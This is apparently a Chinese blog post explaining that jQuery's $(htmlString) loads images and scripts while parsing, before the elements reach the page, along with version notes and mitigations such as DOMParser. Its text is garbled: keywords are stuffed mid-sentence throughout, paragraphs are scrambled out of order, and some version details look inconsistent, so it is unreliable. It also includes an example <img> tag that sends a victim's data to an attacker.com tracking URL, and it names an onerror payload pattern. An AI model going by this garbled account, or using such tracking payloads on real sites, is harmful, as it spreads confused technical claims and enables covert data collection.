jquery 资源管理错误漏洞
2019年4月,资源jQuery 3.4.0发布,管理其中一个改动看起来毫不起眼: 问题出在jQuery对HTML字符串的管理解析逻辑上。当开发者用 换句话说,漏洞你以为只是资源拿字符串构造了一个jQuery对象,还没决定要不要用,管理浏览器已经帮你把里面的错误图片、脚本、iframe全加载了一遍。 假设有个评论功能,用户提交的内容经过简单转义后存到数据库。前端拿到数据后想先解析成DOM再决定怎么渲染: 请求已经出去了。攻击者服务器收到了受害者的IP、User-Agent,甚至可以通过URL参数携带cookie信息(如果没设HttpOnly的话)。这就是典型的资源管理错误——jQuery在解析阶段就触发了资源加载,而不是等到元素真正进入文档流。 jQuery 3.0.0之前的版本反而没这个问题,因为老版本用的是 我翻过jQuery的GitHub issue,有人提过这个问题,核心开发者的回应大意是:这是浏览器行为,jQuery只是如实反映了HTML解析的规则。话虽如此,但开发者使用jQuery时默认信任它会处理好这些边界情况,这个预期落空了。 最直接的办法是别用 更稳妥的做法是用 或者干脆在服务端就把危险标签过滤掉,别指望前端解析时能完全控制住。 还有个土办法:把HTML字符串里的 jQuery抽象了很多DOM操作的细节,但抽象不代表消除。浏览器该发的请求一个都不会少,只是你可能不知道它什么时候发的。用 那些还在维护jQuery老项目的团队,如果前端有动态解析用户内容的逻辑,值得花半小时排查一下。攻击者不需要多高明的手段,一个 jQuery.htmlPrefilter 对自闭合标签的错误处理方式变了。没人想到这个改动会在接下来的漏洞几个月里,让大量使用jQuery的资源老项目暴露在一个资源管理漏洞面前。$(htmlString) 动态创建DOM元素时,错误jQuery会先把字符串塞进一个临时容器里解析。漏洞这个过程中,资源如果HTML字符串里含有 <script> 标签或者类似 <img src=x onerror=...> 这样的管理资源加载标签,浏览器会在解析阶段就发起资源请求——哪怕这些元素最终根本没被插入到页面里。错误一个真实的触发场景
var userContent = '<img src="https://attacker.com/track?u=victim">'; var $el = $(userContent); // 此时请求已经发出 // 后面可能因为某些条件判断,这个$el根本没被append到页面 哪些版本受影响
innerHTML 配合 document.createElement 的方式,资源加载时机不同。3.0.0到3.4.1之间的版本,$.parseHTML 和 $(htmlString) 都存在这个行为。3.5.0之后jQuery团队调整了 htmlPrefilter 的逻辑,但严格来说这不算一个被正式分配的CVE漏洞——它更像是一个设计层面的资源管理缺陷。怎么绕过去
$(htmlString) 来解析不可信内容。改用 $.parseHTML(htmlString, document, false),第三个参数传 false 表示不保留script标签。但注意,parseHTML 内部仍然会创建DOM,<img> 的src照样会触发请求。DOMParser:var parser = new DOMParser(); var doc = parser.parseFromString(htmlString, 'text/html'); // 此时资源不会加载,因为文档是inert的 src 属性先替换成 data-src,等元素真正插入页面后再还原。麻烦,但有效。这件事教会我什么
$(htmlString) 的时候,脑子里要清楚:这行代码执行完,里面所有的资源标签都已经走了一轮网络请求。<img> 标签就能完成信息收集。防御成本很低,但不知道这个行为的话,根本想不到要防。
- 随机阅读
- 搜索
-
- 友情链接
-